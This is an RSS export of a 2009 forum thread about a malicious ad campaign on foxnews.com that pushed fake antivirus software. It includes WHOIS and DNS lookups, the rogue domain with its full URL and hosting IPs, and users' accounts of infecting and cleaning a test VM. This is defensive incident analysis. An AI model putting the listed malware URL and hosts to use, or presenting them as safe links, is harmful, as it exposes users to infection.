54001, PBOX 297, Mykolayiv - 001<br>address:        UA, Mykolayiv, Mykolaiv Oblast<br>e-mail:         <br>mnt-ref:        SERVER-MNT<br>mnt-by:         SERVER-MNT<br>source:         RIPE # Filtered<br>.<br>person:         Alexey Provorny<br>address:        54001, PBOX 297, Mykolayiv - 001<br>address:        Mykolayiv, Ukraine<br>phone:          +380 512 71-18-36<br>phone:          +380 44 360-00-44<br>fax-no:         +380 512 71-18-36<br>nic-hdl:        PRO-RIPE<br>mnt-by:         RX-MNT<br>source:         RIPE # Filtered<br>.<br>route:          194.54.80.0/22<br>descr:          SERVER UA UKRAINE DEDICATED SERVICE<br>origin:         AS41671<br>mnt-by:         BEARNET-MNT<br>mnt-by:         SERVER-MNT<br>source:         RIPE # Filtered<br></pre><br>.<br><br><b>ns1.greatwallsupport.com IP 85.17.254.136</b>  [no reverse DNS set]<br><br>----------------------------------<br>IP Information for 85.17.254.136<br>IP Location:   Netherlands Amsterdam Leaseweb  <br>IP Address:  85.17.254.136       <br>Blacklist Status:  Clear  <br><br>Whois Record<br>inetnum:        85.17.0.0 - 85.17.255.255<br>org:            ORG-OB3-RIPE<br>admin-c:        LSW1-RIPE<br>tech-c:         LSW1-RIPE<br>netname:        NL-LEASEWEB-20050311<br>descr:          LeaseWeb B.V.<br>country:        NL<br>status:         ALLOCATED PA<br>remarks:        Please send email to  for complaints<br>remarks:        regarding portscans, DoS attacks and spam.<br>mnt-by:         RIPE-NCC-HM-MNT<br>mnt-lower:      LEASEWEB-MNT<br>mnt-routes:     LEASEWEB-MNT<br>source:         RIPE # Filtered<br><br>organisation:   ORG-OB3-RIPE<br>org-name:       LeaseWeb B.V.<br>org-type:       LIR<br>address:        Ocom B.V.<br>                P.O. Box 93054<br>                1090 BB Amsterdam<br>                Netherlands<br>phone:          +31 30 2369745<br>fax-no:         +31 20 4889458<br>admin-c:        SPW1-RIPE<br>admin-c:        gj907-ripe<br>admin-c:        LSW1-RIPE<br>mnt-ref:        OCOM-MNT<br>mnt-ref:        RIPE-NCC-HM-MNT<br>mnt-by:         RIPE-NCC-HM-MNT<br>source:         RIPE # Filtered<br><br>person:         RIP Mean<br>address:        P.O. Box 93054<br>address:        1090BB AMSTERDAM<br>address:        Netherlands<br>phone:          +31 20 3162880<br>fax-no:         +31 20 3162890<br>abuse-mailbox:  <br>nic-hdl:        LSW1-RIPE<br>mnt-by:         OCOM-MNT<br>source:         RIPE # Filtered<br><br>route:          85.17.0.0/16<br>descr:          LEASEWEB<br>origin:         AS16265<br>remarks:        LeaseWeb<br>mnt-by:         OCOM-MNT<br>source:         RIPE # Filtered<br>----------------------------------<br><br>ns2.greatwallsupport.com IP 203.174.83.75</b>  [reverse DNS - 203-174-83-75.rev.ne.com.sg]<br><br>----------------------------------<br>IP Information for 203.174.83.75<br>IP Location:   Singapore Singapore Newmedia Express Pte Ltd Singapore Web Hosting Provider  <br>Resolve Host:  203-174-83-75.rev.ne.com.sg  <br>IP Address:  203.174.83.75       <br>SSL Cert:  2001-10-20 SSL Certificate has expired.  <br>Blacklist Status:  Clear  <br><br>Whois Record<br>inetnum:      203.174.80.0 - 203.174.87.255<br>netname:      NEWMEDIAEXPRESS-AP<br>descr:        NewMedia Express Pte Ltd, Singapore Web Hosting Provider<br>descr:        Singapore<br>country:      SG<br>admin-c:      SW640-AP<br>tech-c:       SW640-AP<br>status:       ALLOCATED PORTABLE<br>mnt-by:       APNIC-HM<br>mnt-lower:    MAINT-SG-NEWMEDIAEXPRESS<br>remarks:      -+-+-+-+-+-+-+-+-+-+-+-++-+-+-+-+-+-+-+-+-+-+-+-+-+-+<br>remarks:      This object can only be updated by APNIC hostmasters.<br>remarks:      To update this object, please contact APNIC<br>remarks:      hostmasters and include your organisation's account<br>remarks:      name in the subject line.<br>remarks:      -+-+-+-+-+-+-+-+-+-+-+-++-+-+-+-+-+-+-+-+-+-+-+-+-+-+<br>changed:       20060426<br>source:       APNIC<br><br>person:       Shian Loong Woo<br>nic-hdl:      SW640-AP<br>e-mail:       <br>address:      20 Ayer Rajah Crescent<br>address: #08-12<br>address:      Singapore 139964<br>phone:        +65 68730128<br>fax-no:       +65 68730129<br>country:      SG<br>changed:       20060401<br>mnt-by:       MAINT-SG-NEWMEDIAEXPRESS<br>source:       APNIC<br>----------------------------------<br><br><b>ns3.greatwallsupport.com IP 115.126.5.10</b> [no reverse DNS set]<br><br>----------------------------------<br>IP Information for 115.126.5.10<br>IP Location:   Hong Kong Hong Kong Hkntcm-291-091pvt  <br>IP Address:  115.126.5.10       <br>Blacklist Status:  Clear  <br><br>Whois Record<br>OrgName:    Asia Pacific Network Information Centre <br>OrgID:      APNIC<br>Address:    PO Box 2131<br>City:       Milton<br>StateProv:  QLD<br>PostalCode: 4064<br>Country:    AU<br><br>ReferralServer: >whois://whois.apnic.net<br><br>NetRange:   115.0.0.0 - 115.255.255.255 <br>CIDR:       115.0.0.0/8 <br>NetName:    APNIC-115<br>NetHandle:  NET-115-0-0-0-1<br>Parent:     <br>NetType:    Allocated to APNIC<br>NameServer: NS1.APNIC.NET<br>NameServer: NS3.APNIC.NET<br>NameServer: NS4.APNIC.NET<br>NameServer: NS-SEC.RIPE.NET<br>NameServer: TINNIE.ARIN.NET<br>NameServer: NS.LACNIC.NET<br>Comment:    This IP address range is not registered in the ARIN database.<br>Comment:    For details, refer to the APNIC Whois Database via<br>Comment:    WHOIS.APNIC.NET <br>Comment:    ** IMPORTANT NOTE: APNIC is the Regional Internet Registry<br>Comment:    for the Asia Pacific region. APNIC does not operate networks<br>Comment:    using this IP address range and is not able to investigate<br>Comment:    spam or abuse reports relating to these addresses. For more<br>Comment:    help, refer to http://www.apnic.net/info/faq/abuse<br>RegDate:    2007-10-29<br>Updated:    2007-11-12<br><br>OrgTechHandle: AWC12-ARIN<br>OrgTechName:   APNIC Whois Contact <br>OrgTechPhone:  +61 7 3858 3188<br>OrgTechEmail:  <br><br>== Additional Information From whois://whois.apnic.net ==<br><br>inetnum:      115.126.5.0 - 115.126.5.255<br>netname:      HKNTCM-291-091PVT<br>country:      HK<br>descr:        hknetcom.biz<br>admin-c:      BA144-AP<br>tech-c:       BA144-AP<br>status:       ALLOCATED NON-PORTABLE<br>changed:        20081224<br>mnt-by:       MAINT-HK-FNCL<br>source:       APNIC<br><br>route:        115.126.0.0/17<br>descr:        Forewin Telecom Group Limited, ISP at HK<br>origin:       AS38186<br>mnt-by:       MAINT-HK-FTG<br>changed:      hostmaster@hkt.cc 20090306<br>source:       APNIC<br><br>person:       Shian Loong Woo<br>nic-hdl:      BA144-AP<br>e-mail:       <br>address:      No. 400 Post Office Tuen Mun N<br>address:      Hong Kong<br>phone:        +852-3597-9799<br>country:      HK<br>changed:       20081224<br>mnt-by:       MAINT-HK-FNCL<br>source:       APNIC<br>----------------------------------<br><br>A copy of the page source code of >http://www.foxnews.com/story/0,2933,516877,00.html http://www.foxnews.com/story/0,2933,516877,00.html from where the malware popup originated at was taken within a few minutes of the event:<br><br>[att=1]<br><br>However, it is inconclusive if any of the embedded links were responsible.<br><br>MGD<div class="borderless"><TABLE WIDTH=95% align=center border=0 CELLPADDING=4"><TR><TD ALIGN=CENTER VALIGN=CENTER BGCOLOR=#FFFFFF nwrap WIDTH=33%><A HREF="/r0/download/1420501~44b725bfa48dec6cc95793ddbe94ec9b/FoxnewsSourcecode.txt"><IMG  align=absmiddle TITLE="download" SRC="http://i.dslr.net/silk/arrow_down.png" border=0 width=16 height=16><IMG SRC="http://i.dslr.net/1ptrans.gif" WIDTH=10 HEIGHT=1 border=0><big>FoxnewsSourc&middot;&middot;&middot;code.txt</big></A> <small>71,158 bytes</small></TD></TABLE></div>]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22253782</guid>
<pubDate>Fri, 17 Apr 2009 14:54:12 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22252065</link>
<description><![CDATA[<A HREF="/useremail/u/666842"><b>MGD</b></A> : <div class="bquote"><small>said by  moonpuppy <A HREF="/useremail/u/189562"><IMG SRC="http://i.dslr.net/bb/profile.gif" ALT="See Profile" BORDER=0 WIDTH=16 HEIGHT=11></A> :</small><br><br>That's what I saw MGD.  That's the culprit.<br> </div>Google has now picked up another post from last night of a user browsing foxnews.com <br><br> <blockquote><small>quote:</small><hr><b>Disturbing spyware activity on Mac with 3.0.8 upgrade</b><br> <br>Firefox version: 3.0.8 Operating system: OSX <br><br>While browsing on the web, An alert popped up claiming I had an infection and asked if I wanted the "PC" scanned and cleaned. I tried to close the alert but the screen starting showing something purporting to be a scanning operation so I shut Firefox down. I restarted Firefox and a screen saying I had now been upgraded to 3.0.8 came up followed by a restart of the "scanning" activity. I shut down the Mac and checked my Google web history using another PC. Google history shows me visiting <b>foxnews.com</b> and then <b>onlineproantispywarescannerv2.com</b> I have no idea how I could have gotten to that URL. A whois check shows that that URL is not even registered. I've been unsuccessful google searching for anything associated with this "url". Any ideas??? <br><hr></blockquote><br><small> Added emphasis</small><br>Ref:&raquo;<A HREF="http://support.mozilla.com/tiki-view_forum_thread.php?locale=nl&comments_parentId=329961&forumId=1" >support.mozilla.com/tiki-view_fo&middot;&middot;&middot;orumId=1</A><br><br>Though I saved that foxnews page sourcecode shortly afterwards, it is impossible to tell which of the various adservers were responsible for hoarding this attack script. Someone needs to clean up their act though, as this is apparently a persistent vector with a large potential for exposure.<br><br>MGD]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22252065</guid>
<pubDate>Fri, 17 Apr 2009 10:34:44 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22251533</link>
<description><![CDATA[<A HREF="/useremail/u/189562"><b>moonpuppy</b></A> : That's what I saw MGD.  That's the culprit.]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22251533</guid>
<pubDate>Fri, 17 Apr 2009 08:45:49 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22251074</link>
<description><![CDATA[<A HREF="/useremail/u/122916"><b>amysheehan</b></A> : I just checked same page as you  MGD <A HREF="/useremail/u/666842"><IMG SRC="http://i.dslr.net/bb/profile.gif" ALT="See Profile" BORDER=0 WIDTH=16 HEIGHT=11></A> and saw an I-frame attempt that Symantec corp intercepted.  Closed the page and tried to get it to do it again for screenshot but it would not reproduce<br><br>Friday 1:05AM pacific<br>-amy-<br> ;)<br><small>--<br>Proud Member of <A HREF="http://asap.maddoktor2.com">ASAP</a><br><A HREF="http://www.dslreports.com/phishtrack">DSLR Phishtracker</a></small>]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22251074</guid>
<pubDate>Fri, 17 Apr 2009 04:06:51 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22251020</link>
<description><![CDATA[<A HREF="/useremail/u/666842"><b>MGD</b></A> : It must be several adds in rotation. About an hour ago while on this Foxnews.com page:  &raquo;<A HREF="http://www.foxnews.com/story/0,2933,516877,00.html" >www.foxnews.com/story/0,2933,516877,00.html</A><br><br>This fake Anti Virus infection came up:<br><br>[att=1]<br><br>running from this link: >http://onlineproantispywarescannerv2.com/1/?id=2006-60&back=%3DzQ32TT5OQMNMI%3DM<br><br>Surprised that there are no search hits returns for the <b>onlineproantispywarescannerv2.com</b> domain, since it was registered back on 03/13<br><br>The assigned name server at the time of reg was NS1.S-HOSTING.BIZ & NS2.S-HOSTING.BIZ in the Ukraine. However when it went into infection action the NS was changed as follows:<br>-------------------------------------------<br>Authority records:<br> <br>name class type data time to live:<br> <br>onlineproantispywarescannerv2.com IN NS ns1.greatwallsupport.com 600s (10m) <br>onlineproantispywarescannerv2.com IN NS ns2.greatwallsupport.com 600s (10m) <br>onlineproantispywarescannerv2.com IN NS ns3.greatwallsupport.com 600s (10m)<br> <br>Additional records <br>name class type data time to live <br>ns1.greatwallsupport.com IN A 85.17.254.136 600s (10m) <br>ns2.greatwallsupport.com IN A 203.174.83.75 600s (10m) <br>ns3.greatwallsupport.com IN A 115.126.5.10 600s (10m) <br>-------------------------------------------<br><br>Querying each of the name servers in order produced the folowing hosted IPs:<br><br>-------------------------------------------<br>ns1.greatwallsupport.com:<br><br>onlineproantispywarescannerv2.com IN A 78.47.91.153 600s (10m) <br>onlineproantispywarescannerv2.com IN A 94.76.213.227 600s (10m) <br>onlineproantispywarescannerv2.com IN A 94.247.3.40 600s (10m) <br>onlineproantispywarescannerv2.com IN A 78.47.172.66 600s (10m) <br>onlineproantispywarescannerv2.com IN A 92.62.98.20 600s (10m) <br><br>ns2.greatwallsupport.com:<br><br>onlineproantispywarescannerv2.com IN A 78.47.172.66 600s (10m) <br>onlineproantispywarescannerv2.com IN A 78.47.91.153 600s (10m) <br>onlineproantispywarescannerv2.com IN A 94.76.213.227 600s (10m) <br><br>ns3.greatwallsupport.com:<br><br>onlineproantispywarescannerv2.com IN A 78.47.91.153 600s (10m) <br>onlineproantispywarescannerv2.com IN A 94.76.213.227 600s (10m) <br>onlineproantispywarescannerv2.com IN A 78.47.172.66 600s (10m)<br> -------------------------------------------<br><br>MGD<div class="borderless"><TABLE WIDTH=95% align=center border=0 CELLPADDING=4"><TR><TD ALIGN=CENTER VALIGN=CENTER BGCOLOR=#FFFFFF nwrap COLSPAN=3 WIDTH=100%><A HREF="/speak/slideshow/22251020?c=1420347&ret=L2ZvcnVtL3IyMjIyNTM2Mi54bWw%3D"><IMG class="apic" BORDER=0 TITLE="38798 bytes" WIDTH=600 HEIGHT=576 SRC="/r0/download/1420347.thumb600~2d5ec5933f40d9fc422a13906dcfbc2a/Fox_AV.png/thumb.jpg" ALT="Click for full size"></A></TD></TABLE></div>]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22251020</guid>
<pubDate>Fri, 17 Apr 2009 03:20:20 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22250878</link>
<description><![CDATA[<A HREF="/useremail/u/0"><b>anon</b></A> : I got a popup (something trying to run) yesterday just by viewing the page at foxnews.com.  Now again today.<br>Crap.]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22250878</guid>
<pubDate>Fri, 17 Apr 2009 02:03:23 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22234606</link>
<description><![CDATA[<A HREF="/useremail/u/307353"><b>Sentinel</b></A> : I have no problems ... but I do block all ads using a hosts file and I block all third party images using the Firefox block images setting. Doing that I have no problems on that site and I go there dozens of times a day.<br><br>Has anyone tried to notify the site admins about this? I am curious what their reply is. I'm guessing they have no idea what third party ad servers are dishing out in their name.<br><br>I got a virus on QVC.com once in an image.]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22234606</guid>
<pubDate>Tue, 14 Apr 2009 12:59:58 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22234484</link>
<description><![CDATA[<A HREF="/useremail/u/1309754"><b>DSL Tech</b></A> : Yep, I was prompted to download the AntiVir 2009 software which came while surfing Foxnews.  I figured it was from one  of the many ads.  <br><br>On a side note, they really need someone to clean up that site.  I feel like I am in 1999 when surfing that site.  Old style pop-ups and banners everywhere...]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22234484</guid>
<pubDate>Tue, 14 Apr 2009 12:40:55 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22232977</link>
<description><![CDATA[<A HREF="/useremail/u/825971"><b>kpatz</b></A> : Well, on the second infection, removal was even simpler than the first time.  I just killed the process and ran Hijack This, and found that it didn't reinstall the BHO or even the Run entry in the registry.  Perhaps there were traces left behind that fooled the installer.<br><br>I'll have to revert to a pre-infection snapshot and try again. ;)<br><small>--<br>To ISPs:  Leave our ports alone!  If I want ports blocked, I'll do it myself, thank you.</small>]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22232977</guid>
<pubDate>Tue, 14 Apr 2009 06:25:19 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22232537</link>
<description><![CDATA[<A HREF="/useremail/u/0"><b>anon</b></A> : Yeah, definitely infected. It's tried to hit he on two different PCs -just going to foxnews.com with IE7.  No wonder we get so many cleanup jobs in our shop -a lot of wated talent there.]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22232537</guid>
<pubDate>Tue, 14 Apr 2009 00:54:04 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22231691</link>
<description><![CDATA[<A HREF="/useremail/u/825971"><b>kpatz</b></A> : I was playing around in the VM, emailing a friend of mine, and noting the crazy "warnings" that my cool new anti-virus has been warning me of.<br><br>Here's a couple: <blockquote><small>quote:</small><hr>Internet Explorers addon Shockwave Flash vs.3 found to be linking to the FormSpy website hosted at IP address 81.95.109.11 and installing FOrmSpy using an old VBS/Psyme exploit targeting Internet Explorer.  These websites are believed to have been penetrated and modified by hackers.  VBS/Psyme can be deleted proactively in Internet Explorer (IE).  This is a detection for a malware that was discovered in the wild on July 24, 2009 (PST).  Its installer was proactively detected as New Malware.ag (now Downloader-AXM).  This addon tries to send your private information to attackers IP 72.95.109.11 (Malaysia)<hr></blockquote>So, they detect malware that won't be discovered for another 3+ months. ;)<br> <blockquote><small>quote:</small><hr>"Windows Meta File Vulnerability - Vulnerability"<br>"The vulnerability itself is regarded as extremely critical (the highest possible rating).  As yet, there is no patch for this vulnerability.  Exploit this vulnerability are Trojan-Downloaders, which install other Trojan programs on the victim machine.  At the moment, Trojan programs are being downloaded from unionseek.com and iframeurl.biz.  New modifications of these programs may appear".<hr></blockquote><br><br>I'll leave the VM running overnight and then see if it's harder to remove tomorrow. ;)<br><small>--<br>To ISPs:  Leave our ports alone!  If I want ports blocked, I'll do it myself, thank you.</small>]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22231691</guid>
<pubDate>Mon, 13 Apr 2009 21:44:48 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22231582</link>
<description><![CDATA[<A HREF="/useremail/u/189562"><b>moonpuppy</b></A> : <div class="bquote"><small>said by  kpatz <A HREF="/useremail/u/825971"><IMG SRC="http://i.dslr.net/bb/profile.gif" ALT="See Profile" BORDER=0 WIDTH=16 HEIGHT=11></A> :</small><br><br>This one didn't sink its hooks in very deep... I just killed the pav.exe process, deleted the file and the shortcut, removed the run entry from the registry and it's gone.  Maybe if I let it lurk for a while it would download more of the hard-to-remove crap.  Or maybe this is one of the "easy-to-remove" variants. :)<br><br>EDIT:  Had to remove a BHO that was intercepting IE as well.<br> </div>I shut down my system as soon as I realized what was going on.  This laptop has no AV but it is fully patched.<br><br>Glad I am not going crazy.  ]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22231582</guid>
<pubDate>Mon, 13 Apr 2009 21:27:55 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22231389</link>
<description><![CDATA[<A HREF="/useremail/u/825971"><b>kpatz</b></A> : I re-infected my VM and will leave it on there a bit longer before attempting removal.  I love challenges! :D<br><br>When I right-click the tray icon, it says "Open User Inteface". :D  Malware makers never proofread their work...]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22231389</guid>
<pubDate>Mon, 13 Apr 2009 20:49:51 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22231301</link>
<description><![CDATA[<A HREF="/useremail/u/0"><b>anon</b></A> : Five minutes is all it usually takes and your done.  If you can catch it in the first couple of minutes then you can beat it.  But, how many users have any clue on how to do that?  Most of my customers tell me they finally brought it in when they just couldn't deal with it any longer.  Some last a couple of days!  I don't know how they do it.  It blows my mind when I can't get the annoying IE or Firefox popup to go away in the initial attempt at getting you to click to download.  I always try to kill it without killing the process.  I refuse to give in to it.]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22231301</guid>
<pubDate>Mon, 13 Apr 2009 20:34:42 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22231266</link>
<description><![CDATA[<A HREF="/useremail/u/825971"><b>kpatz</b></A> : This one didn't sink its hooks in very deep... I just killed the pav.exe process, deleted the file and the shortcut, removed the run entry from the registry and it's gone.  Maybe if I let it lurk for a while it would download more of the hard-to-remove crap.  Or maybe this is one of the "easy-to-remove" variants. :)<br><br>EDIT:  Had to remove a BHO that was intercepting IE as well.<br><small>--<br>To ISPs:  Leave our ports alone!  If I want ports blocked, I'll do it myself, thank you.</small>]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22231266</guid>
<pubDate>Mon, 13 Apr 2009 20:27:26 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22231242</link>
<description><![CDATA[<A HREF="/useremail/u/0"><b>anon</b></A> : <div class="bquote"><small>said by  kpatz <A HREF="/useremail/u/825971"><IMG SRC="http://i.dslr.net/bb/profile.gif" ALT="See Profile" BORDER=0 WIDTH=16 HEIGHT=11></A> :</small><br><br>Next challenge, remove this sucker!  :D<br> </div>Start with ComboFix and follow with SuperAntiSpyware.  Gets it everytime.  I see this daily on machines that come into my shop.  <br><br>The guys doing this are great.  Its a shame their talents are put to use this way.]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22231242</guid>
<pubDate>Mon, 13 Apr 2009 20:24:11 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22231213</link>
<description><![CDATA[<A HREF="/useremail/u/825971"><b>kpatz</b></A> : I built a VM with XP SP2 and no patches, and surfed FoxNews in it, and it didn't take long to pick up the Vundo.<br><br>I got it when I hit the "scitech" link.  But since the ads are rotated, it's luck of the draw.<br><br>But now my VM is running a "virus scan" that shows infections of all sorts... tee hee hee..<br><br>Next challenge, remove this sucker!  :D<br><small>--<br>To ISPs:  Leave our ports alone!  If I want ports blocked, I'll do it myself, thank you.</small><div class="borderless"><TABLE WIDTH=95% align=center border=0 CELLPADDING=4"><TR><TD ALIGN=CENTER VALIGN=CENTER BGCOLOR=#FFFFFF nwrap COLSPAN=3 WIDTH=100%><A HREF="/speak/slideshow/22231213?c=1419131&ret=L2ZvcnVtL3IyMjIyNTM2Mi54bWw%3D"><IMG class="apic" BORDER=0 TITLE="234035 bytes" WIDTH=600 HEIGHT=362 SRC="/r0/download/1419131.thumb600~084f6bbdc5d271a62beaf5e402a74a33/vundo.jpg/thumb.jpg" ALT="Click for full size"></A></TD></TABLE></div>]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22231213</guid>
<pubDate>Mon, 13 Apr 2009 20:19:16 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22228781</link>
<description><![CDATA[<A HREF="/useremail/u/461572"><b>MarkAW</b></A> : <div class="bquote"><small>said by  fatness <A HREF="/useremail/u/243195"><IMG SRC="http://i.dslr.net/bb/profile.gif" ALT="See Profile" BORDER=0 WIDTH=16 HEIGHT=11></A> :</small><br><br>Does anyone know what ad was doing this?<br> </div>I went to the site with IE7, Opera and Seamonkey and got nothing so i couldn't tell you what ad was doing it.<div class="borderless"><TABLE WIDTH=95% align=center border=0 CELLPADDING=4"><TR><TD ALIGN=CENTER VALIGN=CENTER BGCOLOR=#FFFFFF nwrap COLSPAN=3 WIDTH=100%><A HREF="/speak/slideshow/22228781?c=1419003&ret=L2ZvcnVtL3IyMjIyNTM2Mi54bWw%3D"><IMG class="apic" BORDER=0 TITLE="363576 bytes" WIDTH=600 HEIGHT=433 SRC="/r0/download/1419003.thumb600~cf9804d6daf41a4923af515eb1abf3ef/opera.png/thumb.jpg" ALT="Click for full size"></A></TD></TR><TR><TD ALIGN=CENTER VALIGN=CENTER BGCOLOR=#FFFFFF nwrap COLSPAN=3 WIDTH=100%><A HREF="/speak/slideshow/22228781?c=1419004&ret=L2ZvcnVtL3IyMjIyNTM2Mi54bWw%3D"><IMG class="apic" BORDER=0 TITLE="356228 bytes" WIDTH=600 HEIGHT=433 SRC="/r0/download/1419004.thumb600~e5e929b28da8cbd377f2ddf5803ae041/IE7.png/thumb.jpg" ALT="Click for full size"></A></TD></TR><TR><TD ALIGN=CENTER VALIGN=CENTER BGCOLOR=#FFFFFF nwrap COLSPAN=3 WIDTH=100%><A HREF="/speak/slideshow/22228781?c=1419005&ret=L2ZvcnVtL3IyMjIyNTM2Mi54bWw%3D"><IMG class="apic" BORDER=0 TITLE="352962 bytes" WIDTH=600 HEIGHT=433 SRC="/r0/download/1419005.thumb600~29395c340f75a2750db80b2526c0ae32/seamonkey.png/thumb.jpg" ALT="Click for full size"></A></TD></TABLE></div>]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22228781</guid>
<pubDate>Mon, 13 Apr 2009 13:01:12 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22228637</link>
<description><![CDATA[<A HREF="/useremail/u/243195"><b>fatness</b></A> : Does anyone know what ad was doing this?]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22228637</guid>
<pubDate>Mon, 13 Apr 2009 12:34:51 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22228143</link>
<description><![CDATA[<A HREF="/useremail/u/1625451"><b>mbaha</b></A> : Hmm really? Is this common for news sites to do? what virus program are you using<br><small>--<br>Don't remind of the things I said or I'll be hurt<br></small>]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22228143</guid>
<pubDate>Mon, 13 Apr 2009 11:03:08 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22227492</link>
<description><![CDATA[<A HREF="/useremail/u/1241344"><b>IceDogg</b></A> : This is why I don't feel the least bit guilty for blocking ads and never will. ]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22227492</guid>
<pubDate>Mon, 13 Apr 2009 08:37:50 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22227386</link>
<description><![CDATA[<A HREF="/useremail/u/161103"><b>SandShark</b></A> : The same thing happened to me last night.  All I remember was something about "rd-point.net" in the warning.  I'm using Firefox (v3.0.8) on a Mac (OS X v10.4.11).]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22227386</guid>
<pubDate>Mon, 13 Apr 2009 07:47:10 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22227381</link>
<description><![CDATA[<A HREF="/useremail/u/189562"><b>moonpuppy</b></A> : I wonder if there a way to monitor the ad sites when they feed these types of trojans.<br><br>Seems any site that large would want to do its best not to add to the problem. ]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22227381</guid>
<pubDate>Mon, 13 Apr 2009 07:42:50 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22226779</link>
<description><![CDATA[<A HREF="/useremail/u/377417"><b>ctceo</b></A> : AdBlock Plus user here as well. Disabled it and waited for assets.espn.go.com, then refreshed. Repeated for 3 minutes and got nothing. They've probably cleaned it out.]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22226779</guid>
<pubDate>Mon, 13 Apr 2009 00:07:22 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22226709</link>
<description><![CDATA[<A HREF="/useremail/u/910278"><b>Oleg</b></A> : No problems here Adblock Plus blocked all of the ad servers for me  :)]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22226709</guid>
<pubDate>Sun, 12 Apr 2009 23:41:33 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22226701</link>
<description><![CDATA[<A HREF="/useremail/u/1127122"><b>flibby3655</b></A> : Nothing +1 (IE7 Avast free)]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22226701</guid>
<pubDate>Sun, 12 Apr 2009 23:38:56 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22226565</link>
<description><![CDATA[<A HREF="/useremail/u/627488"><b>N10Cities</b></A> : Just tried the site, going to the pirate story.  Found nothing.  Running Win7 32bit, AVG Anti-virus...]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22226565</guid>
<pubDate>Sun, 12 Apr 2009 23:00:19 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22226443</link>
<description><![CDATA[<A HREF="/useremail/u/243195"><b>fatness</b></A> : Does anyone know what ad it was doing this?]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,22226443</guid>
<pubDate>Sun, 12 Apr 2009 22:26:11 EDT</pubDate>
</item>

<item>
<title>Re: foxnews.com infected?</title>
<link>http://www.dslreports.com/forum/remark,22226273</link>
